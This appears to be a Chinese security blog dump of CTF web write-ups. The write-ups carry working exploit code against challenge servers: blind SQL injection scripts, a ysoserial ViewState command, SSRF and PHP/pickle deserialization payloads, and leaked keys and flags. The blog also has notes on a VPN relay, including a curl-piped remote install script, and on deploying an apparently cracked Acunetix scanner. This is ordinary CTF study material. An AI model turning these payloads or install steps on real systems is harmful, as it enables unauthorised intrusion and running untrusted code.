burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36", "Origin": "http://f9dc5389-32c2-48b6-a208-cd32482ef972.node3.buuoj.cn", "Content-Type": "application/x-www-form-urlencoded", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://f9dc5389-32c2-48b6-a208-cd32482ef972.node3.buuoj.cn/index.php", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"}
burp0_data = {"username": "a\\", "password": "/if(substr(hex(password),1,1)<5,sleep(6),1)#"}
count=0
result=""
while True:
count+=1
for i in "123456789ABCDEFG":
burp0_data = {"username": "a\\", "password": "/if(substr(hex(password),POS,1)<GUESS,sleep(5),1)#".replace("POS",str(count)).replace("GUESS",hex(ord(i)))}
print(burp0_data['password'])
try:
requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data,timeout=5)
time.sleep(0.5)
except:
result+=chr(ord(i)-1)
print(result)
break
print(result)#4F68794F75464F754E646974#OhyOuFOuNdit
requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)

Schrödinger

更改cookie拿到密码

av11664517@1583985203.

https://www.bilibili.com/video/av11664517

BJD{Quantum_Mechanics_really_Ez}

asp

https://devco.re/blog/2020/03/11/play-with-dotnet-viewstate-exploit-and-create-fileless-webshell/

1
http://ff9359c1-85b4-4f2a-a1ad-31c1e40f186d.node3.buuoj.cn//ImgLoad.aspx?path=5.gif
1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<machineKey validationKey="47A7D23AF52BEF07FB9EE7BD395CD9E19937682ECB288913CE758DE5035CF40DC4DB2B08479BF630CFEAF0BDFEE7242FC54D89745F7AF77790A4B5855A08EAC9" decryptionKey="B0E528C949E59127E7469C9AF0764506BAFD2AB8150A75A5" validation="SHA1" decryption="3DES" />
</system.web>
</configuration>

validationKey泄露,利用viewstatas来任意命令执行

1
ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile  -c "ExploitClass.cs;./dlls/System.dll;./dlls/System.Web.dll"  --generator="CA0B0334"  --validationalg="SHA1"  --validationkey="47A7D23AF52BEF07FB9EE7BD395CD9E19937682ECB288913CE758DE5035CF40DC4DB2B08479BF630CFEAF0BDFEE7242FC54D89745F7AF77790A4B5855A08EAC9"

套猪

登陆后找到一个提示

L0g1n.php

经过输入一系列http头后拿到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
GET /L0g1n.php HTTP/1.1
Host: node3.buuoj.cn:25341
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Contiki/1.1-rc1 (Commodore 64; http://dunkels.com/adam/contiki/)
From: [email protected]
Referer: gem-love.com
Client-Ip: 127.0.0.1
Via: y1ng.vip
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=gppova7f172e56f11qlrffpb64; time=4740514103
Connection: close


elementmaster

1
2
3
4
5
6
7
8
9
10
11
import requests
import time
arr=["H", "He", "Li", "Be", "B", "C", "N", "O", "F", "Ne", "Na", "Mg", "Al", "Si", "P", "S", "Cl", "Ar", "K", "Ca", "Sc", "Ti", "V", "Cr", "Mn", "Fe", "Co", "Ni", "Cu", "Zn", "Ga", "Ge", "As", "Se", "Br", "Kr", "Rb", "Sr", "Y", "Zr", "Nb", "Mo", "Te", "Ru", "Rh", "Pd", "Ag", "Cd", "In", "Sn", "Sb", "Te", "I", "Xe", "Cs", "Ba", "La", "Ce", "Pr", "Nd", "Pm", "Sm", "Eu", "Gd", "Tb", "Dy", "Ho", "Er", "Tm", "Yb", "Lu", "Hf", "Ta", "W", "Re", "Os", "Ir", "Pt", "Au", "Hg", "Tl", "Pb", "Bi", "Po", "At", "Rn", "Fr", "Ra", "Ac", "Th", "Pa", "U", "Np", "Pu", "Am", "Cm", "Bk", "Cf", "Es", "Fm","Md","No","Lr","Ku","Ha"]

url="http://aca57d0d-cd67-498b-a8ea-09588ab05db6.node3.buuoj.cn/"
for i in arr:
r=requests.get(url+i+".php")
if r.status_code==200:
print(r.text,end="")
time.sleep(0.5)

And_th3_3LemEnt5_w1LL_De5tR0y_y0u.php

xss

sb题目

index.php

1
2
3
4
<?php
$a=$_GET['yds_is_so_beautiful'];
echo unserialize($a);
?>

文件探测

http头中找到hint:home.php

1
http://3801f870-f245-47ef-8325-1e117f384eb8.node3.buuoj.cn/home.php?file=system

尝试文件包含,拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
<?php
error_reporting(0);
if (!isset($_COOKIE['y1ng']) || $_COOKIE['y1ng'] !== sha1(md5('y1ng'))){
echo "<script>alert('why you are here!');alert('fxck your scanner');alert('fxck you! get out!');</script>";
header("Refresh:0.1;url=index.php");
die;
}

$str2 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;url invalid<br>~$ ';
$str3 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;damn hacker!<br>~$ ';
$str4 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;request method error<br>~$ ';

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>File Detector</title>

<link rel="stylesheet" type="text/css" href="css/normalize.css" />
<link rel="stylesheet" type="text/css" href="css/demo.css" />

<link rel="stylesheet" type="text/css" href="css/component.css" />

<script src="js/modernizr.custom.js"></script>

</head>
<body>
<section>
<form id="theForm" class="simform" autocomplete="off" action="system.php" method="post">
<div class="simform-inner">
<span><p><center>File Detector</center></p></span>
<ol class="questions">
<li>
<span><label for="q1">你知道目录下都有什么文件吗?</label></span>
<input id="q1" name="q1" type="text"/>
</li>
<li>
<span><label for="q2">请输入你想检测文件内容长度的url</label></span>
<input id="q2" name="q2" type="text"/>
</li>
<li>
<span><label for="q1">你希望以何种方式访问?GET?POST?</label></span>
<input id="q3" name="q3" type="text"/>
</li>
</ol>
<button class="submit" type="submit" value="submit">提交</button>
<div class="controls">
<button class="next"></button>
<div class="progress"></div>
<span class="number">
<span class="number-current"></span>
<span class="number-total"></span>
</span>
<span class="error-message"></span>
</div>
</div>
<span class="final-message"></span>
</form>
<span><p><center><a href="https://gem-love.com" target="_blank">@颖奇L'Amore</a></center></p></span>
</section>

<script type="text/javascript" src="js/classie.js"></script>
<script type="text/javascript" src="js/stepsForm.js"></script>
<script type="text/javascript">
var theForm = document.getElementById( 'theForm' );

new stepsForm( theForm, {
onSubmit : function( form ) {
classie.addClass( theForm.querySelector( '.simform-inner' ), 'hide' );
var messageEl = theForm.querySelector( '.final-message' );
form.submit();
messageEl.innerHTML = 'Ok...Let me have a check';
classie.addClass( messageEl, 'show' );
}
} );
</script>

</body>
</html>
<?php

$filter1 = '/^http:\/\/127\.0\.0\.1\//i';
$filter2 = '/.?f.?l.?a.?g.?/i';


if (isset($_POST['q1']) && isset($_POST['q2']) && isset($_POST['q3']) ) {
$url = $_POST['q2'].".y1ng.txt";
$method = $_POST['q3'];

$str1 = "~$ python fuck.py -u \"".$url ."\" -M $method -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei<br>";

echo $str1;

if (!preg_match($filter1, $url) ){
die($str2);
}
if (preg_match($filter2, $url)) {
die($str3);
}
if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) {
die($str4);
}
$detect = @file_get_contents($url, false);
print(sprintf("$url method&content_size:$method%d", $detect));
}

?>

home.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

setcookie("y1ng", sha1(md5('y1ng')), time() + 3600);
setcookie('your_ip_address', md5($_SERVER['REMOTE_ADDR']), time()+3600);

if(isset($_GET['file'])){
if (preg_match("/\^|\~|&|\|/", $_GET['file'])) {
die("forbidden");
}

if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
die("not now!");
}

if(preg_match("/.?a.?d.?m.?i.?n.?/i", $_GET['file'])){
die("You! are! not! my! admin!");
}

if(preg_match("/^home$/i", $_GET['file'])){
die("不要套娃");
}

else{
if(preg_match("/home$/i", $_GET['file']) or preg_match("/system$/i", $_GET['file'])){
$file = $_GET['file'].".php";
}
else{
$file = $_GET['file'].".fxxkyou!";
}
echo "你现在访问的是".$file . "<br>";
require $file;
}
} else {
echo "<script>location.href='./home.php?file=system'</script>";
}

我们看到:

1
2
3
4
5
6
7
8
9
10
11
12
13
$filter1 = '/^http:\/\/127\.0\.0\.1\//i';
$filter2 = '/.?f.?l.?a.?g.?/i';
if (!preg_match($filter1, $url) ){
die($str2);
}
if (preg_match($filter2, $url)) {
die($str3);
}
if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) {
die($str4);
}
$detect = @file_get_contents($url, false);
print(sprintf("$url method&content_size:$method%d", $detect));

我们利用$method来转义%d,在$url中加个%s就可以查看ssrf的内容了

扫描目录发现:admin.php,但是要从内网访问

ssrf访问得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
0 <?php
error_reporting(0);
session_start();
$f1ag = 'f1ag{s1mpl3_SSRF_@nd_spr1ntf}'; //fake

function aesEn($data, $key)
{
$method = 'AES-128-CBC';
$iv = md5($_SERVER['REMOTE_ADDR'],true);
return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}

function Check()
{
if (isset($_COOKIE['your_ip_address']) && $_COOKIE['your_ip_address'] === md5($_SERVER['REMOTE_ADDR']) && $_COOKIE['y1ng'] === sha1(md5('y1ng')))
return true;
else
return false;
}

if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
highlight_file(__FILE__);
} else {
echo "<head><title>403 Forbidden</title></head><body bgcolor=black><center><font size='10px' color=white><br>only 127.0.0.1 can access! You know what I mean right?<br>your ip address is " . $_SERVER['REMOTE_ADDR'];
}


$_SESSION['user'] = md5($_SERVER['REMOTE_ADDR']);

if (isset($_GET['decrypt'])) {
$decr = $_GET['decrypt'];
if (Check()){
$data = $_SESSION['secret'];
include 'flag_2sln2ndln2klnlksnf.php';
$cipher = aesEn($data, 'y1ng');
if ($decr === $cipher){
echo WHAT_YOU_WANT;
} else {
die('爬');
}
} else{
header("Refresh:0.1;url=index.php");
}
} else {
//I heard you can break PHP mt_rand seed
mt_srand(rand(0,9999999));
$length = mt_rand(40,80);
$_SESSION['secret'] = bin2hex(random_bytes($length));
}
?>

我们发现如果我们带decrypt参数直接访问,就不会生成secret了,那么$cipher = aesEn('', 'y1ng');

vpn搭建

vpn搭建小记

刚好最近有人叫我帮忙搭个vpn自己去了解了一下,发现搭vpn还挺有意思的

vpn的最终方案

经过自己瞎折腾后最后是搞成这样的:

家宽-内地中转服务器-gfw-国外vps(使用trojan+bbr)

以后打算在gfw和国外vps在加个cdn,这样我们vps对gfw也就是透明的了,以后gfw把我们vps的ip ban掉了也没关系,不太好的影响就是延迟会变高

这里加个中转服务器是因为电信晚上网络会炸裂,而家宽就是电信,虽然手机是联通的,但是我自己一个月40g流量都不够用

电信 163 网连接国际网络,会在高峰时段,在路由出海前的最后一跳,根据优先级,策略性地人为丢包,以减轻对主网的负担(QOS),这让普通电信用户糟糕的外网访问质量雪上加霜

vpn搭建具体细节

国外vps选购

首先是vpn的选购,因为是萌新,就去了别人推荐的vultr,搬瓦工太贵了

听说vultr销毁服务器,再重新购买会有新的ip,但是我这样弄还是同一个被ban掉的ip,后来小脑瓜一动,我一口气开了10个服务器,这样ip就不一样了,我真tm机智/cy

具体怎么选购就百度谷歌吧

国外vps配置

这里用波仔提供的一键安装脚本,看了一下没啥安全问题

https://www.v2rayssr.com/trojan-1.html/comment-page-1

这里你还需要一个域名,建议用二级域名来弄trojan

  1. bash <(curl -s -L https://github.com/V2RaySSR/Trojan/raw/master/Trojan.sh)

  2. 先安装bbr,除了重启的选y,其他都选no

  3. 再次运行脚本,运行bbr,并优化配置

  4. 安装trojan

  5. 下载客户端

视频教程: https://www.youtube.com/watch?v=LgZKirXKZms&feature=youtu.be

中转服务器配置

中转服务器去买共享端口+docker虚拟机的那种,一个月5元左右吧,出口最好联通

xxx.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/bin/bash
if [ ! $# -eq 3 ];then
echo -e "Usage : $0 natport trojanserver trojanport"
exit
fi
natport=$1
trojanserver=$2
trojanport=$3
apt-get install iptables || yum install iptables
iptables -t nat -A PREROUTING -p tcp --dport $natport -j DNAT --to-destination "$trojanserver:$trojanport"
iptables -t nat -A POSTROUTING -d $trojanserver -p tcp --dport $trojanport -j MASQUERADE
iptables -I FORWARD -d $trojanserver -p tcp --dport $trojanport -j ACCEPT
iptables -I FORWARD -s $trojanserver -p tcp --sport $trojanport -j ACCEPT
service iptables save
service iptables restart
echo "setting complete"

客户端配置

将config.json拷贝一份,config_through_nat.json

并做出如下修改

1
2
3
4
5
6
7
8
9
10
11
12
13
{
...
"remote_addr": "中转服务器ip",
"remote_port": 中转的端口,
...
"ssl": {
"verify": false,
"verify_hostname": false,
...
}
...
}

config.json重命名为:config_normal.json

start.bat

1
2
3
4
5
6
@ECHO OFF
taskkill /im trojan.exe /f
ping -n 2 127.1 >nul
copy /Y config_normal.json config.json
%1 start mshta vbscript:createobject("wscript.shell").run("""%~0"" ::",0)(window.close)&&exit
start /b trojan.exe

start_with_nat.bat

1
2
3
4
5
6
@ECHO OFF
taskkill /im trojan.exe /f
ping -n 2 127.1 >nul
copy /Y config_through_nta.json config.json
%1 start mshta vbscript:createobject("wscript.shell").run("""%~0"" ::",0)(window.close)&&exit
start /b trojan.exe

将两个批处理放到trojan客户端目录下

vpn测试

通过 https://fast.com/ 来测速 稳定10Mbits(联通),5Mbits(电信平时),500Kbits(电信夜间,丢包率贼高,体验极差),稳定1Mbits(走中转服务器路线,因为我专门拿来中转的服务器还没买,暂时直接用阿里云的服务器来中转,但是阿里云服务器也在电信机房),去买了个中转的服务器现在夜间电信稳定5Mbits

利用BEST TRACE来看vps的线路

各种线路的分析文章: https://www.duangvps.com/archives/135

youtube打开4k视频右键查看统计信息,我的是5w左右

linux回程路由测试: https://github.com/nanqinlang-script/testrace

docker部署awvs

docker部署awvs

链接: https://pan.baidu.com/s/1QqtdmgOOd-CCPgmD1aZMCw 提取码: buti

将百度云下载内容放到awvs文件夹下

Dockerfile

1
2
3
4
5
6
7
8
FROM ubuntu:16.04
COPY awvs /awvs
EXPOSE 3443
RUN /awvs/setenv.sh&& echo -e "\nyes\nubuntu\[email protected]\nccr,123456\nccr,123456\n"|/awvs/acunetix_13.0.200217097_x64_.sh && \
cp /awvs/wvsc /home/acunetix/.acunetix/v_200217097/scanner/wvsc &&\
cp /awvs/license_info.json /home/acunetix/.acunetix/data/license/license_info.json &&\
echo -e '#!/bin/bash\nsu acunetix && (nohup bash ~/.acunetix/start.sh &) && exit'> /etc/rc.local

setenv.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/bin/bash

shared_obj_deps=(libpango-1.0.so.0 libXext.so.6 libpthread.so.0 libXi.so.6 libgobject-2.0.so.0 libgtk-3.so.0 libdl.so.2 libgdk_pixbuf-2.0.so.0 libX11.so.6 libuuid.so.1 librt.so.1 libexpat.so.1 libglib-2.0.so.0 libXdamage.so.1 libatk-1.0.so.0 libm.so.6 libatspi.so.0 libcups.so.2 libgio-2.0.so.0 libXfixes.so.3 libXrender.so.1 libxcb.so.1 libsmime3.so libcairo.so.2 libXcomposite.so.1 libgdk-3.so.0 libpangocairo-1.0.so.0 libgcc_s.so.1 libX11-xcb.so.1 libdbus-1.so.3 libnss3.so libXrandr.so.2 libnspr4.so libXcursor.so.1 libnssutil3.so libXss.so.1 libasound.so.2 libatk-bridge-2.0.so.0 libc.so.6 libXtst.so.6)
read -d '' source <<EOF
deb-src http://archive.ubuntu.com/ubuntu xenial main restricted #Added by software-properties
deb http://mirrors.aliyun.com/ubuntu/ xenial main restricted
deb-src http://mirrors.aliyun.com/ubuntu/ xenial main restricted multiverse universe #Added by software-properties
deb http://mirrors.aliyun.com/ubuntu/ xenial-updates main restricted
deb-src http://mirrors.aliyun.com/ubuntu/ xenial-updates main restricted multiverse universe #Added by software-properties
deb http://mirrors.aliyun.com/ubuntu/ xenial universe
deb http://mirrors.aliyun.com/ubuntu/ xenial-updates universe
deb http://mirrors.aliyun.com/ubuntu/ xenial multiverse
deb http://mirrors.aliyun.com/ubuntu/ xenial-updates multiverse
deb http://mirrors.aliyun.com/ubuntu/ xenial-backports main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ xenial-backports main restricted universe multiverse #Added by software-properties
deb http://archive.canonical.com/ubuntu xenial partner
deb-src http://archive.canonical.com/ubuntu xenial partner
deb http://mirrors.aliyun.com/ubuntu/ xenial-security main restricted
deb-src http://mirrors.aliyun.com/ubuntu/ xenial-security main restricted multiverse universe #Added by software-properties
deb http://mirrors.aliyun.com/ubuntu/ xenial-security universe
deb http://mirrors.aliyun.com/ubuntu/ xenial-security multiverse
EOF
echo "$source" > /etc/apt/sources.list
cat /etc/apt/sources.list
apt-get update
#for i in ${shared_obj_deps[@]}
#do
# echo install $i
# apt-get install $i -y
#done
apt-get install libxdamage1 libgtk-3-0 libasound2 libnss3 libxss1 bzip2 sudo libv8-dev -y
echo "install success"

将Dockerfile放在awvs同级目录下,打开命令行移动到Dockerfile所在文件夹,docker build -t awvs .

用Dockerfile创建镜像后,用docker run --privileged=true -p 443:3443-it -d awvs "/sbin/init"来创建容器

接着等待一会就可以运行了,在改一下本机的hosts,美滋滋,记得是用https去访问

image3135

参考

https://youngrichog.github.io/2019/08/10/Docker-AWVS%E6%89%B9%E9%87%8F%E9%83%A8%E7%BD%B2/

xctf高校抗疫

高校战疫

打完这次比赛,我再次认清了自己是个卑微的递茶小弟…

web

easy_trick_gzmtu

1
2
3
2020\\%27 200
2020%27 500
2020\%27 500

可能作为格式化字符串或者过滤\ ?,继续测试

1
2
3
4
http://121.37.181.246:6333/?time=2020' or 1%23  =>500
http://121.37.181.246:6333/?time=2020or'%23 =>无结果,说明不是过滤or
http://121.37.181.246:6333/?time=2020'%23or=>没有500,说明or不在黑名单中

1
2
3
/?time=2020%27%20||1=1%20--+    返回正确结果
/?time=2020%27%20or1=1%20--+ and &&都页面报错
/?time=-1%27%20||1=0%20--+ 页面的hello world消失,应该存在布尔盲注
1
2
?time=0'||\i\f(\s\l\e\e\p(2),1,1)%23
成功执行,说明是过滤\
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests,re
sql="union select 1,GROUP_CONCAT(schema_name),3 FROM information_schema.schemata"
#sql="union select 1,GROUP_CONCAT(id,',',username,',',passwd,',',url,','),3 FROM admin"
#admin,content
#admin
#id,username,passwd,url
#0,admin,20200202goodluck,/eGlhb2xldW5n,
tmp=""
for i in sql:
if i.isalpha():
tmp+="\\"+i
#print("\\"+i,end="")
else:
tmp+=i
#print(i,end="")

tmp="http://121.37.181.246:6333/?time=0'+{}%23".format(tmp)
res=requests.get(tmp)
result=re.search(r'<div class="text-c ">(.*)</div>',res.text)
print(result.group(1))

拿到后台地址和管理员账号

1
2
http://121.37.181.246:6333/eGlhb2xldW5n
admin,20200202goodluck
1
2
3
4
http://121.37.181.246:6333/eGlhb2xldW5n/eGlhb2xldW5nLnBocA==.php
http://121.37.181.246:6333/eGlhb2xldW5n/check.php
http://121.37.181.246:6333/eGlhb2xldW5n/index.php

php版本5.5.9,%00截断

check.php中可以读取文件但是需要本地访问

1
2
3
4
Host: 127.0.0.1
X-Forwarded-For: 127.0.0.1
Client-Ip: 127.0.0.1
Referer: http://127.0.0.1/eGlhb2xldW5n/check.php
1
2
3
4
5
6
7
没有用
eGlhb2xldW5nLnBocA==:xiaoleung.php
eGlhb2xldW5n:xiaoleung
注释里给的:eGlhb2xldW5nLnBocA==.php
可能是突破的关键,但是里面啥都没有
对eGlhb2xldW5nLnBocA==.php进行参数爆破,也没结果

存在http请求走私

1
2
3
4
5
6
7
8
9
10
11
12
13
GET /eGlhb2xldW5n/check.php?url=fuck&submit=%E6%9F%A5%E8%AF%A2 HTTP/1.1
Host: 121.37.181.246:6333
X-Forwarded-For: 127.0.0.1
Client-Ip: 127.0.0.1
Cookie: PHPSESSID=9gkhjmmmp6ctmnn2578n3hcth1

GET /eGlhb2xldW5n/check.php?url=fuck&submit=%E6%9F%A5%E8%AF%A2 HTTP/1.1
Host: localhost
X-Forwarded-For: 127.0.0.1
Client-Ip: 127.0.0.1
Cookie: PHPSESSID=9gkhjmmmp6ctmnn2578n3hcth1


最后学长跟我说这里本地访问的意思是url中的ip地址要为127.0.0.1……..无语

GET /eGlhb2xldW5n/check.php?url=file://localhost/var/www/html/eGlhb2xldW5n/eGlhb2xldW5nLnBocA==.php&submit=%E6%9F%A5%E8%AF%A2 HTTP/1.1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php

class trick{
public $gf;
public function content_to_file($content){
$passwd = $_GET['pass'];
if(preg_match('/^[a-z]+\.passwd$/m',$passwd))
{

if(strpos($passwd,"20200202")){
echo file_get_contents("/".$content);

}

}
}
public function aiisc_to_chr($number){
if(strlen($number)>2){
$str = "";
$number = str_split($number,2);
foreach ($number as $num ) {
$str = $str .chr($num);
}
return strtolower($str);
}
return chr($number);
}
public function calc(){
$gf=$this->gf;
if(!preg_match('/[a-zA-z0-9]|\&|\^|#|\$|%/', $gf)){
eval('$content='.$gf.';');
$content = $this->aiisc_to_chr($content);
return $content;
}
}
public function __destruct(){
$this->content_to_file($this->calc());

}

}
unserialize((base64_decode($_GET['code'])));

?>

我们要逻辑运算符非来绕过preg_match('/[a-zA-z0-9]|\&|\^|#|\$|%/', $gf)

1
GET /eGlhb2xldW5n/eGlhb2xldW5nLnBocA==.php?pass=aaa.passwd%0a20200202&code=Tzo1OiJ0cmljayI6MTp7czoyOiJnZiI7czoxMToifiLIz8jJycrIziIiO30%3DD HTTP/1.1

webtmp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import base64
import io
import sys
import pickle

from flask import Flask, Response, render_template, request
import secret


app = Flask(__name__)


class Animal:
def __init__(self, name, category):
self.name = name
self.category = category

def __repr__(self):
return f'Animal(name={self.name!r}, category={self.category!r})'

def __eq__(self, other):
return type(other) is Animal and self.name == other.name and self.category == other.category


class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__':
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()


def read(filename, encoding='utf-8'):
with open(filename, 'r', encoding=encoding) as fin:
return fin.read()


@app.route('/', methods=['GET', 'POST'])
def index():
if request.args.get('source'):
return Response(read(__file__), mimetype='text/plain')

if request.method == 'POST':
try:
pickle_data = request.form.get('data')
if b'R' in base64.b64decode(pickle_data):
return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
else:
result = restricted_loads(base64.b64decode(pickle_data))
if type(result) is not Animal:
return 'Are you sure that is an animal???'
correct = (result == Animal(secret.name, secret.category))
return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct)
except Exception as e:
print(repr(e))
return "Something wrong"

sample_obj = Animal('一给我哩giaogiao', 'Giao')
pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode()
return render_template('unpickle_page.html', sample_obj=sample_obj, pickle_data=pickle_data)


if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

我们可以控制反序列化的内容

但是反序列化还有限制:

1
2
3
4
5
6
7
8
9
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__':
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()

只能再__main__中寻找属性,这样我们也就无法直接读取secret里的内容了

关键:

return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct)

不知道是correct!=False给flag还是correct==True给flag

决定correct的是: correct = (result == Animal(secret.name, secret.category))

会调用Animal的__eq__我们可以令__eq__等于其他的函数来绕过,但是没有找到合适的两个参数的函数

后来发现Animal(secret.name, secret.category)是在反序列化之后执行的,如果我们可以修改secret,那么我们就可以控制结果

payload:

1
2
3
4
5
6
7
8
9
10
import pickle
import base64
p=b'''c__main__
secret
(S'name'
S'test'
S'category'
S'test'
db'''+pickle.loads(Animal("test","test"))
print(base64.b64encode(p))

flag{409ed945-5b77-4ec3-97e1-b395778842ba}

fmkq

begin 那里搞个 %s% 就行了。

8080 出东西了

1
2
3
4
5
Welcome to our FMKQ api, you could use the help information below
To read file:
/read/file=example&vipcode=example
if you are not vip,let vipcode=0,and you can only read /tmp/{file}
Other functions only for the vip!!!
1
http://121.37.179.47:1101/?begin=%s%&head=\&url=http://127.0.0.1:8080/read/file=/tmp/flag%26vipcode=1

flag在 /未知目录/flag。至少能扫目录,或者直接 getshell

image7052

在fuzz过程中有一下报错

1
2
3
Absolute URI not allowed if server is not a proxy.
Malformed Request-Line: bad protocol
Malformed Request-URI

去网上查了下可能是cherrypy

当输入{file}时,其对应的输出为:error,说明可能有ssti或者格式化字符串漏洞

利用格式化字符串读取vipcode,从而任意文件读取

1
2
3
4
5
6
7
{file.__class__.__init__.__globals__}
['lib', 'media', 'opt', 'var', 'usr', 'mnt', 'bin', 'root', 'home', 'tmp', 'boot', 'sys', 'run', 'sbin', 'srv', 'lib64', 'etc', 'dev', 'proc', 'app', '.dockerenv', 'fl4g_1s_h3re_u_wi11_rua']

{'truevipcode': '3Ad8fya45bYeUOFDkJuXpjV1tGHLxzonrCWlER2mPKS9i67w'}
'__file__': '/app/base/readfile.py'


1
/?head=\&url=http://127.0.0.1:8080/read/file=/etc/passwd%26vipcode=3Ad8fya45bYeUOFDkJuXpjV1tGHLxzonrCWlER2mPKS9i67w&begin=%s%

vip.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

import random
import string


vipcode = ''


class vip:
def __init__(self):
global vipcode
if vipcode == '':
vipcode = ''.join(random.sample(string.ascii_letters+string.digits, 48))
self.truevipcode = vipcode
else:
self.truevipcode = vipcode

def GetCode(self):
return self.truevipcode

readfile.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from .vip import vip
import re
import os


class File:
def __init__(self,file):
self.file = file

def __str__(self):
return self.file

def GetName(self):
return self.file


class readfile():

def __str__(self):
filename = self.GetFileName()
if '..' in filename or 'proc' in filename:
return "quanbumuda"
else:
try:
file = open("/tmp/" + filename, 'r')
content = file.read()
file.close()
return content
except:
return "error"

def __init__(self, data):
if re.match(r'file=.*?&vipcode=.*?',data) != None:
data = data.split('&')
data = {
data[0].split('=')[0]: data[0].split('=')[1],
data[1].split('=')[0]: data[1].split('=')[1]
}
if 'file' in data.keys():
self.file = File(data['file'])

if 'vipcode' in data.keys():
self.vipcode = data['vipcode']
self.vip = vip()


def test(self):
if 'file' not in dir(self) or 'vipcode' not in dir(self) or 'vip' not in dir(self):
return False
else:
return True

def isvip(self):
if self.vipcode == self.vip.GetCode():
return True
else:
return False

def GetFileName(self):
return self.file.GetName()


current_folder_file = []


class vipreadfile():
def __init__(self,readfile):
self.filename = readfile.GetFileName()
self.path = os.path.dirname(os.path.abspath(self.filename))
self.file = File(os.path.basename(os.path.abspath(self.filename)))
global current_folder_file
try:
current_folder_file = os.listdir(self.path)
except:
current_folder_file = current_folder_file

def __str__(self):
if 'fl4g' in self.path:
return 'nonono,this folder is a secret!!!'
else:
output = '''Welcome,dear vip! Here are what you want:\r\nThe file you read is:\r\n'''
filepath = (self.path + '/{vipfile}').format(vipfile=self.file)
output += filepath
